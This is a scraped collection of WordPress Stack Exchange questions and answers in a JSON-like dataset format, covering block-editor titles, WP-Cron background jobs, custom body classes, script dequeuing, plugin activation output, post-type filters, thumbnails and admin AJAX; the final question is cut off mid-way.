[ { "answer_id": 376072, "author": "Łukasz Górski", "author_id": 195750, "author_profile": "https://wordpress.stackexchange.com/users/195750", "pm_score": 1, "selected": false, "text": "<p>Create a page named as your archive, add blocks there. In archive-name.php please add:</p>\n<pre><code>&lt;?php get_header();\n\n$page_id = get_post( 57 );\n$page = apply_filters( 'the_content', $page-&gt;post_content );\n\necho $page; ?&gt;\n\n&lt;?php get_footer();\n</code></pre>\n<p>Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.</p>\n" }, { "answer_id": 383907, "author": "user1954838", "author_id": 29282, "author_profile": "https://wordpress.stackexchange.com/users/29282", "pm_score": 0, "selected": false, "text": "<p>Another workaround but maybe useful to others: I use a custom post type called &quot;Globals&quot; to store block templates used for global sections of the site such as footer.</p>\n<p>It would be nice to be able to use an options page but I don't think its possible at the moment.</p>\n" } ]
2019/10/10
[ "https://wordpress.stackexchange.com/questions/350206", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
I'm building a custom theme and it's my first time doing this with the new(ish) block editor. Can I ask - where on earth to add the page title in the backend block editor? In the old editor you just added it at the top of the page. I've added a 'title' but this is just the h2 default title, not the page title/name. Image-1 shows the page being nameless, Image-2 shows the H2 title. [![enter image description here](https://i.stack.imgur.com/FPyw0.png)](https://i.stack.imgur.com/FPyw0.png) [![enter image description here](https://i.stack.imgur.com/94RPO.png)](https://i.stack.imgur.com/94RPO.png) Many thanks, Emily
Create a page named as your archive, add blocks there. In archive-name.php please add: ``` <?php get_header(); $page_id = get_post( 57 ); $page = apply_filters( 'the_content', $page->post_content ); echo $page; ?> <?php get_footer(); ``` Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.
350,210
<p>I need a second opinion and a sanity check if the solution I'm trying to implement will work.</p> <p>I need to implement a way to run a script that would otherwise be blocking if I would run it using just ajax (and would probably timeout). So my idea is to do the following:</p> <p>Have a button in the admin that, when clicked, would trigger an ajax call, which would schedule the event immediately. This scheduled event would be done using <code>wp_schedule_event()</code> (<a href="https://developer.wordpress.org/plugins/cron/scheduling-wp-cron-events/" rel="nofollow noreferrer">https://developer.wordpress.org/plugins/cron/scheduling-wp-cron-events/</a>). In this event, on the first call, I'd add a flag in the database that will signal that the event is running. This is used as a way to check if the event is running in the background so that I can do a check, in ajax, if the job is running in the background - if it is, don't run it again.</p> <p>Now, because it's a scheduled, recurring job, I'd need a way to not spawn it again all the time, even if it finished. What I was thinking is adding a check in the place where I add my <code>add_action( 'bl_cron_hook', 'bl_cron_exec' );</code> hook for </p> <pre class="lang-php prettyprint-override"><code>if ( ! wp_next_scheduled( 'bl_cron_hook' ) ) { wp_schedule_event( time(), 'five_seconds', 'bl_cron_hook' ); } </code></pre> <p>The <code>add_action</code> call and the function to execute <code>bl_cron_exec</code> would be in a separate class, and the <code>wp_schedule_event</code> would be in the ajax callback.</p> <p>And also, if the flag in the database is <code>finished</code> I would unschedule the job (in the class where the <code>bl_cron_exec</code> is).</p> <p>What concerns me is, if my job is running in the background, and I unschedule the job, <strong>will this terminate the already running job, or am I safe and this job will continue working</strong> (or fail, in which case I will write to the db that the call failed). Because a running job is started in a separate process if I'm not mistaken. So a job that is running cannot be stopped, or can it?</p> <p>Is there a smarter way of implementing background jobs in WordPress? I don't want a plugin, I need my own implementation (business reasons).</p> <p>Basically, some kind of a flow would be:</p> <hr> <h3>ajax:</h3> <p><em>NO JOB RUNNING:</em></p> <pre><code>check if job is running - no schedules event (in 1 sec or less) triggers flag in the database - job running exit with code - event started (scheduled) </code></pre> <p><em>JOB RUNNING:</em></p> <pre><code>check if job is running - yes unschedule job exit with code - event running </code></pre> <h3>event:</h3> <pre><code>If the database trigger says: running (the wp_next_scheduled should take care of that) - don't start new schedule (return? or unschedule). If the database trigger says: finished, continue running the event. </code></pre>
[ { "answer_id": 376072, "author": "Łukasz Górski", "author_id": 195750, "author_profile": "https://wordpress.stackexchange.com/users/195750", "pm_score": 1, "selected": false, "text": "<p>Create a page named as your archive, add blocks there. In archive-name.php please add:</p>\n<pre><code>&lt;?php get_header();\n\n$page_id = get_post( 57 );\n$page = apply_filters( 'the_content', $page-&gt;post_content );\n\necho $page; ?&gt;\n\n&lt;?php get_footer();\n</code></pre>\n<p>Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.</p>\n" }, { "answer_id": 383907, "author": "user1954838", "author_id": 29282, "author_profile": "https://wordpress.stackexchange.com/users/29282", "pm_score": 0, "selected": false, "text": "<p>Another workaround but maybe useful to others: I use a custom post type called &quot;Globals&quot; to store block templates used for global sections of the site such as footer.</p>\n<p>It would be nice to be able to use an options page but I don't think its possible at the moment.</p>\n" } ]
2019/10/10
[ "https://wordpress.stackexchange.com/questions/350210", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58895/" ]
I need a second opinion and a sanity check if the solution I'm trying to implement will work. I need to implement a way to run a script that would otherwise be blocking if I would run it using just ajax (and would probably timeout). So my idea is to do the following: Have a button in the admin that, when clicked, would trigger an ajax call, which would schedule the event immediately. This scheduled event would be done using `wp_schedule_event()` (<https://developer.wordpress.org/plugins/cron/scheduling-wp-cron-events/>). In this event, on the first call, I'd add a flag in the database that will signal that the event is running. This is used as a way to check if the event is running in the background so that I can do a check, in ajax, if the job is running in the background - if it is, don't run it again. Now, because it's a scheduled, recurring job, I'd need a way to not spawn it again all the time, even if it finished. What I was thinking is adding a check in the place where I add my `add_action( 'bl_cron_hook', 'bl_cron_exec' );` hook for ```php if ( ! wp_next_scheduled( 'bl_cron_hook' ) ) { wp_schedule_event( time(), 'five_seconds', 'bl_cron_hook' ); } ``` The `add_action` call and the function to execute `bl_cron_exec` would be in a separate class, and the `wp_schedule_event` would be in the ajax callback. And also, if the flag in the database is `finished` I would unschedule the job (in the class where the `bl_cron_exec` is). What concerns me is, if my job is running in the background, and I unschedule the job, **will this terminate the already running job, or am I safe and this job will continue working** (or fail, in which case I will write to the db that the call failed). Because a running job is started in a separate process if I'm not mistaken. So a job that is running cannot be stopped, or can it? Is there a smarter way of implementing background jobs in WordPress? I don't want a plugin, I need my own implementation (business reasons). Basically, some kind of a flow would be: --- ### ajax: *NO JOB RUNNING:* ``` check if job is running - no schedules event (in 1 sec or less) triggers flag in the database - job running exit with code - event started (scheduled) ``` *JOB RUNNING:* ``` check if job is running - yes unschedule job exit with code - event running ``` ### event: ``` If the database trigger says: running (the wp_next_scheduled should take care of that) - don't start new schedule (return? or unschedule). If the database trigger says: finished, continue running the event. ```
Create a page named as your archive, add blocks there. In archive-name.php please add: ``` <?php get_header(); $page_id = get_post( 57 ); $page = apply_filters( 'the_content', $page->post_content ); echo $page; ?> <?php get_footer(); ``` Replace '57' with your page ID. Now you can manage content of archive page directly from Pages.
350,245
<p>I'm transferring a 20 page static HTML site to a custom Wordpress Theme. On each page of the static site the <code>body</code> tag has a custom CSS class i.e. 'banking-page'.</p> <p>I know that WP generates page id classes in the body tag to represent the individual pages (i.e. .page-id-27), but in terms of readability (and transferability), is it possible to add a bit of php onto each page which will insert a specific class into the body tag CSS for that particular page? Using the <code>body_class()</code> function won't do it because it will show on every page.</p> <p>Thanks in advance</p> <p>Emily.</p>
[ { "answer_id": 350250, "author": "Faye", "author_id": 76600, "author_profile": "https://wordpress.stackexchange.com/users/76600", "pm_score": 2, "selected": false, "text": "<p>Couple of options for you.</p>\n\n<p><strong>Option 1: Use the <code>body_class()</code> function to add the page slug to the class.</strong></p>\n\n<pre><code>function add_slug_body_class( $classes ) {\n global $post;\n if ( isset( $post ) ) {\n $classes[] = $post-&gt;post_name;\n }\n return $classes;\n}\n\nadd_filter( 'body_class', 'add_slug_body_class' );\n</code></pre>\n\n<p>Then whatever the url is, say \"yourdomainpage.com/banking-page\" then it'll grab \"banking-page\" as a class for the body. This does mean your urls needs to line up with your classes, so that may not be the ideal solution.</p>\n\n<p><strong>Option 2: Add a body class meta box to your pages.</strong> I prefer using <a href=\"https://www.advancedcustomfields.com/\" rel=\"nofollow noreferrer\">ACF</a> for this, but it can also be done using the <a href=\"https://developer.wordpress.org/plugins/metadata/custom-meta-boxes/\" rel=\"nofollow noreferrer\">add_meta_box()function</a>.</p>\n\n<p>Once you've got that filled in, you use the same function as listed in option 1, except you replace <code>$post-&gt;post_name;</code> with your meta box / <a href=\"https://www.advancedcustomfields.com/resources/get_field/\" rel=\"nofollow noreferrer\">ACF field value</a>.</p>\n" }, { "answer_id": 350253, "author": "KGreene", "author_id": 175001, "author_profile": "https://wordpress.stackexchange.com/users/175001", "pm_score": 2, "selected": true, "text": "<p>In your functions.php:</p>\n\n<pre><code>function my_body_class($classes) {\n\n if(is_page()){\n global $page;\n $title = get_the_title( $page );\n $classes[] = $title;\n\n }\n return $classes;\n}\n\nadd_filter('body_class', 'my_body_class');\n</code></pre>\n\n<p>That will add the page title as a class to each page.</p>\n" }, { "answer_id": 350263, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": 0, "selected": false, "text": "<p>You want to add different CSS class on different page. \nYou can do it by checking it by page or page id. It's going to bit long work for you. However, you can do it two way. (May be more ways are there but I suggest you these two)</p>\n\n<p>For both you should have added following code into active theme's header file where you render body tag</p>\n\n<blockquote>\n <p><code>&lt;body &lt;?php body_class( 'class-name' ); ?&gt;&gt;</code></p>\n</blockquote>\n\n<ol>\n<li><p>Check the page using code in the body_class filter(Hook):</p>\n\n<pre><code>add_filter( 'body_class', 'add_custom_class', 10, 1);\nfunction add_custom_class( $classes ) {\n if ( is_page( 57 ) ) { \n // 57 is your desire page id for example\n // if ( is_page ( 'home' ) ) { // the slug of page\n array_merge( $classes, array( 'home-class' ) );\n } elseif( is_page( 58 ) ) { \n // elseif ( is_page('about-us') ) {\n array_merge( $classes, array( 'about-class' ) );\n } elseif ( is_page( 60 ) ) { \n // elseif( is_page('contact-us') )\n array_merge( $classes, array( 'contact-class' ) );\n } \n // until all your pages are finished.\n return $classes;\n}\n</code></pre></li>\n<li><p>Another way is add meta box or custom field on each page in wp-admin and add class of that page and modify above code as follow:</p></li>\n</ol>\n\n<pre><code> add_filter( 'body_class', 'add_custom_class', 10, 1);\n function add_custom_class( $classes ) {\n // If you're using custom-field or meta that should be shaved in postmeta table\n global $post;\n $page_class = get_post_meta( $post-&gt;ID, 'meta_key', true );\n // You can use Advance custom field plugins to add fields into your posts/pages\n // If you use ACF plugin you can use get_field( 'selector', $post-&gt;ID ) instead of get_post_meta(...);\n if ( is_page() ) {\n if( '' != $page_class ) {\n array_merge( $classes, array( $page_class ) );\n }\n } \n return $classes;\n }\n</code></pre>\n" }, { "answer_id": 350266, "author": "test1gddg", "author_id": 176617, "author_profile": "https://wordpress.stackexchange.com/users/176617", "pm_score": 0, "selected": false, "text": "<pre>\n// add body class for that.\nadd_filter( 'body_class', 'custom_class' );\nfunction custom_class( $classes ) {\n if ( is_single() && 'post' == get_post_type() ) {\n $classes[] = 'article-page';\n }\n\n else{\n if(!is_page('library')) $classes[] = 'home';\n }\n if(is_page('contact-page')){\n $classes[] = 'contact-page';\n } \n if(is_page('banking-page')){\n $classes[] = 'banking-page';\n }\n return $classes;\n}\n</pre>\n" } ]
2019/10/10
[ "https://wordpress.stackexchange.com/questions/350245", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106972/" ]
I'm transferring a 20 page static HTML site to a custom Wordpress Theme. On each page of the static site the `body` tag has a custom CSS class i.e. 'banking-page'. I know that WP generates page id classes in the body tag to represent the individual pages (i.e. .page-id-27), but in terms of readability (and transferability), is it possible to add a bit of php onto each page which will insert a specific class into the body tag CSS for that particular page? Using the `body_class()` function won't do it because it will show on every page. Thanks in advance Emily.
In your functions.php: ``` function my_body_class($classes) { if(is_page()){ global $page; $title = get_the_title( $page ); $classes[] = $title; } return $classes; } add_filter('body_class', 'my_body_class'); ``` That will add the page title as a class to each page.
350,272
<hr> <p>EDIT - SOLUTION GIVEN IN COMMENTS</p> <p>The problem was that I was initially hooking in at wp_enqueue_scripts so I wanted a high priority to make sure my dequeue was happening after the plugin's enqueue. When I switched to using wp_print_scripts (or more accuratly wp_print_footer_scripts) I should have switched to a low priority, as Jacob Peattie pointed out. That was all I needed to fix this. -JW</p> <hr> <p>I'm trying to dequeue a script which is added by a plugin. Here is the code from the plugin...</p> <pre><code>class WC_Social_Login_Frontend { ... public function load_styles_scripts() { ... wp_enqueue_script( 'wc-social-login-frontend', wc_social_login()-&gt;get_plugin_url() . '/assets/js/frontend/wc-social-login.min.js', $script_deps, WC_Social_Login::VERSION, $load_in_footer ); } } </code></pre> <p>Nothing I have tried, thusfar, has stopped this script from loading. Here is my code which is inside of a mu-plugin I used instead of functions.php. I've tried hooking in at various places, none have worked.</p> <pre><code> function jw_dequeue_social_login(){ wp_dequeue_script('wc-social-login-frontend'); wp_deregister_script('wc-social-login-frontend'); } add_action( 'wp_print_footer_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_print_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_enqueue_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_footer', 'jw_dequeue_social_login', PHP_INT_MAX ); </code></pre> <p>Hopefully I'm an idiot and have missed something obvious. Your help is greatly appreciated.</p>
[ { "answer_id": 350276, "author": "majick", "author_id": 76440, "author_profile": "https://wordpress.stackexchange.com/users/76440", "pm_score": 1, "selected": false, "text": "<p>Another option is to use the <code>script_loader_tag</code> filter to catch and remove the actual HTML tag before it is output, eg.:</p>\n\n<pre><code>add_filter( 'script_loader_tag', 'remove_social_login_frontend', 10, 3 );\nfunction remove_social_login_frontend( $tag, $handle, $src ) {\n if ( 'wc-social-login-frontend' === $handle ) {$tag = '';}\n return $tag;\n}\n</code></pre>\n\n<p>Note you could also do this via a string match on the URL via the <code>$src</code> variable.</p>\n" }, { "answer_id": 350307, "author": "Jeremiah Wolfe", "author_id": 176626, "author_profile": "https://wordpress.stackexchange.com/users/176626", "pm_score": 2, "selected": false, "text": "<p>Thanks to Jacob Peattie for answering this in the comments!</p>\n\n<p>The problem was using a high priority with wp_print_footer_scripts when I should have been using a low priority.</p>\n\n<pre><code>function jw_dequeue_social_login(){\n wp_dequeue_script('wc-social-login-frontend');\n wp_deregister_script('wc-social-login-frontend');\n }\n\n add_action( 'wp_print_footer_scripts', 'jw_dequeue_social_login', 0 );\n</code></pre>\n" } ]
2019/10/11
[ "https://wordpress.stackexchange.com/questions/350272", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176626/" ]
--- EDIT - SOLUTION GIVEN IN COMMENTS The problem was that I was initially hooking in at wp\_enqueue\_scripts so I wanted a high priority to make sure my dequeue was happening after the plugin's enqueue. When I switched to using wp\_print\_scripts (or more accuratly wp\_print\_footer\_scripts) I should have switched to a low priority, as Jacob Peattie pointed out. That was all I needed to fix this. -JW --- I'm trying to dequeue a script which is added by a plugin. Here is the code from the plugin... ``` class WC_Social_Login_Frontend { ... public function load_styles_scripts() { ... wp_enqueue_script( 'wc-social-login-frontend', wc_social_login()->get_plugin_url() . '/assets/js/frontend/wc-social-login.min.js', $script_deps, WC_Social_Login::VERSION, $load_in_footer ); } } ``` Nothing I have tried, thusfar, has stopped this script from loading. Here is my code which is inside of a mu-plugin I used instead of functions.php. I've tried hooking in at various places, none have worked. ``` function jw_dequeue_social_login(){ wp_dequeue_script('wc-social-login-frontend'); wp_deregister_script('wc-social-login-frontend'); } add_action( 'wp_print_footer_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_print_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_enqueue_scripts', 'jw_dequeue_social_login', PHP_INT_MAX ); add_action( 'wp_footer', 'jw_dequeue_social_login', PHP_INT_MAX ); ``` Hopefully I'm an idiot and have missed something obvious. Your help is greatly appreciated.
Thanks to Jacob Peattie for answering this in the comments! The problem was using a high priority with wp\_print\_footer\_scripts when I should have been using a low priority. ``` function jw_dequeue_social_login(){ wp_dequeue_script('wc-social-login-frontend'); wp_deregister_script('wc-social-login-frontend'); } add_action( 'wp_print_footer_scripts', 'jw_dequeue_social_login', 0 ); ```
350,283
<p>I've stumbled on an activation error of the plugin, I'm developing and I can't seem to remove it. The error says "Plugin generate 2890 characters of unexpected output when activated". The purpose of my plugin is to view a banner at the website with information of an event happening. Both the banner and functionality works fine after the error message is shown. </p> <p>My plugin is split into multiple files. I have the functionality in their seperate files and I have the view/HTML in another seperate file. I added an error log to the php script and it returns the HTML for the banner. </p> <p>I have tried to turn the html into a Heredocs , but with no luck removing the error. </p> <p>Do any of you have some advice on how to resolve the error of activation? </p> <p>Thank you for your time.</p> <p>Best regards Kristine</p>
[ { "answer_id": 350344, "author": "majick", "author_id": 76440, "author_profile": "https://wordpress.stackexchange.com/users/76440", "pm_score": 2, "selected": true, "text": "<p>It is unfortunate core only gives you the string length when it has the entire output available to display. However you can find what those unexpected characters are by dumping them (from the output buffer) to a file on activation. Try adding this (outside the plugin you are activating of course, eg. in a PHP file in <code>/wp-content/mu-plugins/</code>)</p>\n\n<pre><code>&lt;?php \nadd_action( 'activated_plugin', 'debug_plugin_output', 10, 2 );\nfunction debug_plugin_output( $plugin, $network_wide ) {\n $output = ob_get_contents();\n $file = WP_CONTENT_DIR . '/plugin-output.txt';\n if ( file_exists( $file ) ) {unlink( $file );}\n error_log( $output, 3, $file);\n}\n</code></pre>\n\n<p>And then after activation you can check the contents of <code>/wp-content/plugin-output.txt</code>... :-)</p>\n\n<p>Alternatively, you could dump the output buffer directly and force exit (this will short-circuit multiple activations and prevent WordPress redirecting back to the plugin screen however): </p>\n\n<pre><code>&lt;?php \nadd_action( 'activated_plugin', 'debug_plugin_output', 10, 2 );\nfunction debug_plugin_output( $plugin, $network_wide ) {\n $output = ob_get_contents();\n if ( !empty($output) ) {\n echo \"Activation of plugin '\" . $plugin . \"'\";\n echo \" generated \" . strlen( $output ) . \" characters of unexpected output:&lt;br&gt;&lt;br&gt;\";\n echo \"&lt;textarea rows='100' cols='40'&gt;\" . $output . \"&lt;/textarea&gt;\";\n exit;\n } \n}\n</code></pre>\n" }, { "answer_id": 350436, "author": "Kristine Kristensen", "author_id": 176633, "author_profile": "https://wordpress.stackexchange.com/users/176633", "pm_score": 0, "selected": false, "text": "<p>Thank you so much for your help, I solved it by realising I had an include() statement outside of the functions in the plugin file. Then I moved the include() statement into their own function, which resulted in the activation error was solved :D</p>\n" } ]
2019/10/11
[ "https://wordpress.stackexchange.com/questions/350283", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176633/" ]
I've stumbled on an activation error of the plugin, I'm developing and I can't seem to remove it. The error says "Plugin generate 2890 characters of unexpected output when activated". The purpose of my plugin is to view a banner at the website with information of an event happening. Both the banner and functionality works fine after the error message is shown. My plugin is split into multiple files. I have the functionality in their seperate files and I have the view/HTML in another seperate file. I added an error log to the php script and it returns the HTML for the banner. I have tried to turn the html into a Heredocs , but with no luck removing the error. Do any of you have some advice on how to resolve the error of activation? Thank you for your time. Best regards Kristine
It is unfortunate core only gives you the string length when it has the entire output available to display. However you can find what those unexpected characters are by dumping them (from the output buffer) to a file on activation. Try adding this (outside the plugin you are activating of course, eg. in a PHP file in `/wp-content/mu-plugins/`) ``` <?php add_action( 'activated_plugin', 'debug_plugin_output', 10, 2 ); function debug_plugin_output( $plugin, $network_wide ) { $output = ob_get_contents(); $file = WP_CONTENT_DIR . '/plugin-output.txt'; if ( file_exists( $file ) ) {unlink( $file );} error_log( $output, 3, $file); } ``` And then after activation you can check the contents of `/wp-content/plugin-output.txt`... :-) Alternatively, you could dump the output buffer directly and force exit (this will short-circuit multiple activations and prevent WordPress redirecting back to the plugin screen however): ``` <?php add_action( 'activated_plugin', 'debug_plugin_output', 10, 2 ); function debug_plugin_output( $plugin, $network_wide ) { $output = ob_get_contents(); if ( !empty($output) ) { echo "Activation of plugin '" . $plugin . "'"; echo " generated " . strlen( $output ) . " characters of unexpected output:<br><br>"; echo "<textarea rows='100' cols='40'>" . $output . "</textarea>"; exit; } } ```
350,295
<p>My filter works good, but for all pages and I need add filter only for specific post type. I try it via is_singular, but not work. My code:</p> <pre><code> function my_super_filer_function6($query_args){ if ( is_singular( 'post' ) ) { global $post; $post_author = $post-&gt;post_author; $query_args['author'] = $post_author; return $query_args-&gt;is_singular( $post_types ); } } add_filter('listing/grid/posts-query-args', 'my_super_filer_function6'); </code></pre> <p>EDIT: in other words how achieve this working code for specific post type:</p> <pre><code>function my_super_filer_function6($query_args){ global $post; $post_author = $post-&gt;post_author; $query_args['author'] = $post_author; return $query_args; } add_filter('listing/grid/posts-query-args', 'my_super_filer_function6'); </code></pre>
[ { "answer_id": 350298, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 2, "selected": true, "text": "<p>There's a couple ways you could handle this.</p>\n\n<p><strong>Option 1</strong> Check the <code>global $post</code> object</p>\n\n<p>Inside your filter you may be able to check the current <code>$post</code> object or other <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">Conditional Tags</a> for a specific type.</p>\n\n<pre><code>function my_super_filer_function6( $args ) {\n\n global $post;\n\n /* Check against the current post object */\n if( empty( $post ) || 'post_type_here' !== $post-&gt;post_type ) {\n return $args;\n }\n\n /* Check conditional tags */\n if( ! ( is_post_type_archive( 'post_type_here' ) || is_singular( 'post_type_here' ) ) ) {\n return $args;\n }\n\n /* ... */\n\n}\n</code></pre>\n\n<p><strong>Option 2</strong> Add the hook via <a href=\"https://www.rarst.net/wordpress/wordpress-core-load/\" rel=\"nofollow noreferrer\"><code>template_redirect</code> or an early hook</a></p>\n\n<p>You may be able to add the hook via an earlier action hook:</p>\n\n<pre><code>function wpse350295_init() {\n\n if( is_post_type_archive( 'post_type_here' ) || is_singular( 'post_type_here' ) ) {\n add_filter( 'listing/grid/posts-query-args', 'my_super_filer_function6' );\n }\n\n}\nadd_action( 'template_redirect', 'wpse350295_init' );\n</code></pre>\n\n<p><strong>Option 3</strong> Use the args</p>\n\n<p>You may be able to check the passed args for a <code>post_type</code> and return early if the post type does not match what is expected:</p>\n\n<pre><code>function my_super_filer_function6($query_args){\n\n if( 'post_type' !== $query_args-&gt;get( 'post_type' ) ) {\n return $query_args\n }\n\n /* ... */\n\n}\n</code></pre>\n\n<p>This is of course assuming what is being passed is a <code>WP_Query</code> object. You would need to do some due diligence to figure out what the passed variable holds and if a post type can be discerned from it.</p>\n" }, { "answer_id": 350299, "author": "KGreene", "author_id": 175001, "author_profile": "https://wordpress.stackexchange.com/users/175001", "pm_score": 1, "selected": false, "text": "<p>This will only execute that code for a specific post type:</p>\n\n<pre><code>function my_super_filer_function6($query_args){\n\n global $post;\n if($post-&gt;post_type == 'specific post type'){\n $post_author = $post-&gt;post_author;\n $query_args['author'] = $post_author; \n }\n\n return $query_args;\n}\nadd_filter('listing/grid/posts-query-args', 'my_super_filer_function6');\n</code></pre>\n" }, { "answer_id": 350380, "author": "heroj", "author_id": 118182, "author_profile": "https://wordpress.stackexchange.com/users/118182", "pm_score": 0, "selected": false, "text": "<p>Here is working result from reply above:</p>\n\n<pre><code>function my_super_filer_function6( $query_args ) {\n global $post; \n if($post-&gt;post_type == 'events'){\n $post_author = $post-&gt;post_author;\n $query_args['author'] = $post_author; \n } \n return $query_args;\n\n}\nadd_filter('listing/grid/posts-query-args', 'my_super_filer_function6');\n</code></pre>\n" } ]
2019/10/11
[ "https://wordpress.stackexchange.com/questions/350295", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/118182/" ]
My filter works good, but for all pages and I need add filter only for specific post type. I try it via is\_singular, but not work. My code: ``` function my_super_filer_function6($query_args){ if ( is_singular( 'post' ) ) { global $post; $post_author = $post->post_author; $query_args['author'] = $post_author; return $query_args->is_singular( $post_types ); } } add_filter('listing/grid/posts-query-args', 'my_super_filer_function6'); ``` EDIT: in other words how achieve this working code for specific post type: ``` function my_super_filer_function6($query_args){ global $post; $post_author = $post->post_author; $query_args['author'] = $post_author; return $query_args; } add_filter('listing/grid/posts-query-args', 'my_super_filer_function6'); ```
There's a couple ways you could handle this. **Option 1** Check the `global $post` object Inside your filter you may be able to check the current `$post` object or other [Conditional Tags](https://codex.wordpress.org/Conditional_Tags) for a specific type. ``` function my_super_filer_function6( $args ) { global $post; /* Check against the current post object */ if( empty( $post ) || 'post_type_here' !== $post->post_type ) { return $args; } /* Check conditional tags */ if( ! ( is_post_type_archive( 'post_type_here' ) || is_singular( 'post_type_here' ) ) ) { return $args; } /* ... */ } ``` **Option 2** Add the hook via [`template_redirect` or an early hook](https://www.rarst.net/wordpress/wordpress-core-load/) You may be able to add the hook via an earlier action hook: ``` function wpse350295_init() { if( is_post_type_archive( 'post_type_here' ) || is_singular( 'post_type_here' ) ) { add_filter( 'listing/grid/posts-query-args', 'my_super_filer_function6' ); } } add_action( 'template_redirect', 'wpse350295_init' ); ``` **Option 3** Use the args You may be able to check the passed args for a `post_type` and return early if the post type does not match what is expected: ``` function my_super_filer_function6($query_args){ if( 'post_type' !== $query_args->get( 'post_type' ) ) { return $query_args } /* ... */ } ``` This is of course assuming what is being passed is a `WP_Query` object. You would need to do some due diligence to figure out what the passed variable holds and if a post type can be discerned from it.
350,308
<p>I have created a shortcode with this code:</p> <pre><code>add_shortcode('recent-newsletter', 'recent_newsletter'); function recent_newsletter() { $recentnews = new WP_Query(array( 'post_type' =&gt; 'newsletter', 'posts_per_page' =&gt; 1 )); $news =''; if ($recentnews-&gt;have_posts()) { while($recentnews-&gt;have_posts()){ $recentnews-&gt;the_post(); if (has_post_thumbnail() ) { $news .= get_the_post_thumbnail('thumbnail'); } $news .= '&lt;a href="'.get_permalink().'"&gt;'.get_the_title().'&lt;/a&gt;'; } } else { $news = 'no posts';} wp_reset_postdata(); return $news; } </code></pre> <p>First off the CPT is working fine and images show on the main query.</p> <p>The problem I'm having is that I want to pull the thumbnail size, not the full image.</p> <p>this line:</p> <pre><code> $news .= get_the_post_thumbnail('thumbnail'); </code></pre> <p>displays no image. If I change it to this:</p> <pre><code> $news .= get_the_post_thumbnail(); </code></pre> <p>The full image shows up. How do I display just the thumbnail sized-image ?</p>
[ { "answer_id": 350330, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 3, "selected": true, "text": "<p>The first argument of <a href=\"https://developer.wordpress.org/reference/functions/get_the_post_thumbnail/\" rel=\"nofollow noreferrer\"><code>get_the_post_thumbnail()</code></a> is not the image size that you want to use. It's the ID or object of the post whose thumbnail you want to get. To get the thumbnail size, set the <em>second</em> argument to <code>'thumbnail'</code>. The first argument can just be set to <code>null</code> to get it for the current post:</p>\n\n<pre><code>$news .= get_the_post_thumbnail( null, 'thumbnail' );\n</code></pre>\n" }, { "answer_id": 350334, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": 2, "selected": false, "text": "<p>You should pass first argument as post id in <code>get_the_post_thumbnail()</code>. As you're getting thumbnail if look you can pass the id of post like</p>\n\n<pre><code>get_the_post_thumbnail( get_the_ID(), 'thumbnail' );\n</code></pre>\n\n<p>you can also specify the size of the image your want to show as</p>\n\n<pre><code>get_the_post_thumbnail( get_the_ID(), array( 100, 100) );\n</code></pre>\n" } ]
2019/10/11
[ "https://wordpress.stackexchange.com/questions/350308", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105668/" ]
I have created a shortcode with this code: ``` add_shortcode('recent-newsletter', 'recent_newsletter'); function recent_newsletter() { $recentnews = new WP_Query(array( 'post_type' => 'newsletter', 'posts_per_page' => 1 )); $news =''; if ($recentnews->have_posts()) { while($recentnews->have_posts()){ $recentnews->the_post(); if (has_post_thumbnail() ) { $news .= get_the_post_thumbnail('thumbnail'); } $news .= '<a href="'.get_permalink().'">'.get_the_title().'</a>'; } } else { $news = 'no posts';} wp_reset_postdata(); return $news; } ``` First off the CPT is working fine and images show on the main query. The problem I'm having is that I want to pull the thumbnail size, not the full image. this line: ``` $news .= get_the_post_thumbnail('thumbnail'); ``` displays no image. If I change it to this: ``` $news .= get_the_post_thumbnail(); ``` The full image shows up. How do I display just the thumbnail sized-image ?
The first argument of [`get_the_post_thumbnail()`](https://developer.wordpress.org/reference/functions/get_the_post_thumbnail/) is not the image size that you want to use. It's the ID or object of the post whose thumbnail you want to get. To get the thumbnail size, set the *second* argument to `'thumbnail'`. The first argument can just be set to `null` to get it for the current post: ``` $news .= get_the_post_thumbnail( null, 'thumbnail' ); ```
350,324
<p>I have a jQuery UI sortable list, connected to another list, so far my JavaScript can display the HTML ID's from both of the lists to the screen, but I am having trouble figuring out how to direct this data to a PHP file so I can work with it. Is <code>wp_localize_script</code> necessary for me? I have it pointing ajaxurl <code>plugins_url( 'my-ajax.php' )</code>. Does this need to go to <code>admin_url( 'admin-ajax.php' )</code>? I'm trying to use this on an admin page I created, not the front end. This is extremely confusing.</p> <p>This is how I'm trying to enqueue jQuery in WordPress:</p> <pre><code>add_action( 'admin_enqueue_scripts',array($this, 'admin_scripts' )); function admin_scripts() { wp_register_script( 'admin-js', plugin_dir_url(__FILE__) . '/admin.js', array('jquery'), '', true); wp_localize_script( 'admin-js', 'dtAjax', array( 'ajaxurl' =&gt; plugins_url( 'my-ajax.php' , __FILE__))); wp_enqueue_script( 'admin-js' ); wp_enqueue_script( 'jquery-ui-core' ); wp_enqueue_script( 'jquery-ui-sortable' ); wp_register_style( 'digitable_jquery', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css', false, '1.0.0' ); wp_enqueue_style( 'digitable_jquery' ); } </code></pre> <p>Here is the HTML</p> <pre><code>&lt;ul id="sortable3" 